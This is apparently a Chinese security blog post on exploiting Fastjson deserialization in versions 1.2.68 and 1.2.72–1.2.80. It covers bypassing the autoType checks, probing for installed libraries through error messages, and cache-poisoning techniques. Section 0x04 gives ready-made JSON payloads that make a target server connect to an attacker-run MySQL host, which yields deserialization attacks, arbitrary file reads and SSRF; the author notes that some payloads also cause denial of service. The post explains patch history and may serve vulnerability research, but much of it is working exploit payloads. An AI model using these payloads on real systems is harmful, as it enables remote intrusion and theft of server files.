yitaiqi2
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9

前言
FastJson在1.2.25版本以后默认关闭了autoTypeSupport。所有反序列化的类以下任意条件可以成功反序列化:
在白名单中。关键字为:
internalWhite
,白名单参考0x05其他内容。该类在Fastjson缓存当中,当其他类被反序列化过后这个类会加入Fastjson缓存当中。关键字为:
TypeUtils.mappings
。在Deserializers中(这个类似缓存列表,也是预先加进去的一些反序列化器)详见
com/alibaba/fastjson/parser/ParserConfig.java#initDeserializers
在checkAutoType时存在expectClass并且待反序列化的类是其子类,详见0x05其他内容8。
开启autoTypeSupport。
0x01 判断组件是否存在
{"@type":"java.lang.Character"{"@type":"java.lang.Class","val":"com.mysql.jdbc.Driver"}}
java.lang.Character和java.lang.Class都在白名单当中,其中class会去加载val中的类,而java.lang.Character的反序列化器CharacterCodec会试图将内容转换为Char导致报错。
java.lang.Character一般情况下默认就会在fastjson的缓存当中,java.lang.Class也存在于Deserializers中。
1.2.72<版本<=1.2.80已知存在利用链,值得判断的组件有:
org.postgresql.jdbc.PgConnection#postgresql组件
com.mysql.jdbc.Driver#mysql connector/java组件
org.codehaus.groovy.control.CompilationFailedException#groovy组件
org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException#aspectjtools
ognl.OgnlException 和 org.apache.commons.io.input.BOMInputStream #ognl(Struts、MyBatis中都有使用)和commons-io组件
0x02 1.2.72<版本<=1.2.80基础利用链
JSONObject加载类的属性到fastjson缓存中,其中属性名要有对应setter方法,setter设置的属性名就会被加入到fastjson的ParserConfig.deserializers缓存当中。这里用ognl利用链来说明。
这里利用Exception期望类将ognl.OgnlException加入缓存。
{\"@type\":\"java.lang.Exception\",\"@type\":\"ognl.OgnlException\"}
再通过JavaBeanDeserializer将该类其中一个public属性实例化,实例化的同时会被加入到ParserConfig.deserializers缓存当中。
{"@type":"java.util.Locale","val":{"@type":"com.alibaba.fastjson.JSONObject",{"@type":"java.lang.String""@type":"ognl.OgnlException","_evaluation":{}}}
ognl.Evaluation在之后的反序列化过程中会使用javaBeanDeserializer。
在之后的利用过程中,实例化的类只需要满足”是预期类的子类“,这里的"预期类"一般为构造函数或setter方法的参数类型,所以序列化的类只要是预期类的子类即可通过checkAutoType检查,还会被加入缓存当中。
0x03加载子类进fastjson缓存
{\"@type\":\"类\",\"@type\":\"子类\"}
经过测试在javaBeanDeserializer和ThrowableDeserializer反序列化流程中会将后面跟着的子类加到fastjson缓存当中,其他反序列化器加不加没看。通过0x02方式加入fastjson缓存的类都会使用javaBeanDeserializer反序列化器。
0x04 Fastjson1.2.68 X JDBC
在mysql-connector-java的不同版本中存在着一些类,这些类继承了java.lang.AutoCloseable,导致可以通过0x03的方式加载进fastjson缓存当中。其中不同版本存在的利用链如下。(关于jdbc反序列化漏洞可以通过查看我公众号其他文章来了解)在反序列化、任意文件读取的同时也可以ssrf。
• Mysql connector 5.x(成功利用后会报错结束)
{"@type":"java.lang.AutoCloseable","@type":"com.mysql.jdbc.JDBC4Connection","hostToConnectTo":"mysql.host","portToConnectTo":3306,"info":{"user":"user","password":"pass","statementInterceptors":"com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor","autoDeserialize":"true","NUM_HOSTS": "1"},"databaseToConnectTo":"dbname" , "url":""}
• Mysql connector 6.0.2 or 6.0.3 (在测试过程中,服务器会一直重复给恶意mysql服务器发送文件信息,不会自己停下来,所以可能存在DOS攻击的风险)
{"@type": "java.lang.AutoCloseable" ,"@type": "com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection" ,"proxy":{"connectionString":{"url": "jdbc:mysql://localhost:3306/foo?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor"}}}
• Mysql connector 8.0.19(反序列化) 以及以上版本(ssrf) (在测试过程中,服务器会一直重复给恶意mysql服务器发送文件信息,不会自己停下来,所以可能存在DOS攻击的风险)
{"@type":"java.lang.AutoCloseable","@type":"com.mysql.cj.jdbc.ha.ReplicationMySQLConnection","proxy":{"@type":"com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy","connectionUrl":{ "@type":"com.mysql.cj.conf.url.ReplicationConnectionUrl" , "masters": [{"host":"mysql.host"}], "slaves":[], "properties":{"host":"mysql.host","port":"mysql.port","user":"user","dbname":"dbname","password":"pass","queryInterceptors":"com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor","autoDeserialize":"true"}}}}
同时,不只是反序列化,也可以用作任意文件读取。(关于jdbc任意文件读取可以通过查看我公众号其他文章来了解)
• Mysql connector 6.0.2 or 6.0.3 (在测试过程中,服务器会一直重复给恶意mysql服务器发送文件信息,不会自己停下来,所以可能存在DOS攻击的风险)
{"@type": "java.lang.AutoCloseable" ,"@type": "com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection" ,"proxy":{"connectionString":{"url": "jdbc:mysql://localhost:3306/foo?allowLoadLocalInfile=true"}}}
• Mysql connector 8.0.19(反序列化) 以及以上版本(ssrf) (在测试过程中,服务器会一直重复给恶意mysql服务器发送文件信息,不会自己停下来,所以可能存在DOS攻击的风险)
{"@type":"java.lang.AutoCloseable","@type":"com.mysql.cj.jdbc.ha.ReplicationMySQLConnection","proxy":{"@type":"com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy","connectionUrl":{ "@type":"com.mysql.cj.conf.url.ReplicationConnectionUrl" , "masters": [{"host":"mysql.host"}], "slaves":[], "properties":{"host":"mysql.host","user":"user","dbname":"dbname","password":"pass","allowLoadLocalInfile":"true"}}}}
在1.2.69的更新当中将java.lang.Runnable,java.lang.Readable和java.lang.AutoCloseable加入了黑名单,至此无法利用。
0x05其他
exectClass期望的类型:
java.io.Serializable
java.lang.Cloneable
java.io.Closeable
java.lang.AutoCloseable
java.lang.Readable
java.lang.Runnable
java.util.EventListener
java.lang.Iterable
java.util.Collection
java.lang.Object
白名单中的类:
判断safeMode是否开启。
如果返回autoType is not support. com.sun.rowset.JdbcRowSetImpl则表示没开启safemode,返回
safeMode not support autoType
表示开启
通过报错判断是否存在组件。
{"@type":"java.lang.Character"{"@type":"java.lang.Class","val":"com.mysql.jdbc.Driver"}}
在1.47之前可以通过
java.lang.Class
将其他类加入缓存当中,之后序列化该类就不会受到白名单限制。该漏洞的修复方式是java.lang.Class
类对val类无法再将其加入缓存中。详情见com/alibaba/fastjson/serializer/MiscCodec.java#359
不同的类会使用不同的反序列化器如java.lang.Class使用MiscCodec,java.lang.Character使用CharacterCodec。详见
com/alibaba/fastjson/parser/DefaultJSONParser.java#396
同时可以参考com/alibaba/fastjson/parser/ParserConfig.java#initDeserializers
查看具体的反序列化器配置结果。如果是MiscCodec反序列化器的,其参数都需要用"val"指名,而其他反序列化器的参数则各有各的判断方式,StringCodec可以直接跟"@type"。
在checkAutoType时存在预期类(expectClass),并且待反序列化的类是其子类即可加入到fastjson缓存当中。
之所以1.2.72<版本<=1.2.80的版本要大于1.2.72原因是因为在1.2.73版本修复了类属性即使不需要Annotation只要期待类和实际类不相同也可以进入fieldDeser.parseField流程。
10.在构造反序列化利用链时需要注意只有public级别的构造函数可以在fastjson反序列化字符串中构造。否则回出现default constructor not found.
的问题。
11.在javaBeanDeserializer反序列化过程中,在JavaBeanInfo的build函数中决定反序列化对象使用的构造函数。
12.$ref可以用来获取对象属性,同事也可以用来触发getter。
13.Fastjson在反序列化的过程中会优先使用无参数构造函数,如果没有就会选择使用参数最多的构造函数。据说是为了兼容bean和java原生类的写法。
14.关于0x04
互联网上传播的第三部分的poc大部分都说是6.0.3-8.x版本可利用,但在8.0.18以下版本LoadBalancedConnectionProxy、ReplicationConnectionProxy的构造函数都不支持ConnectionUrl类型而是ReplicationConnectionUrl和LoadbalanceConnectionUrl。
其中LoadbalanceConnectionUrl的两个构造函数参数数量相同会默认选第一个构造函数,而第一个构造函数的第一个参数的构造函数是私有的,所以无法利用(自测结果,可能有些地方有疏忽)。
而ReplicationConnectionProxy的构造函数变为私有的,所以也无法利用。
15.关于fastjson1.2.68的几个jdbc利用链,6.0.2和8.0.19的payload都存在无法停止的情况。很明显的是6.0.2和8.0.19的payload都通过pickNewConnection进行连接的, 这里留着以后看如何解决下吧。有大佬知道方法的欢迎公众号私信我。感谢!
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)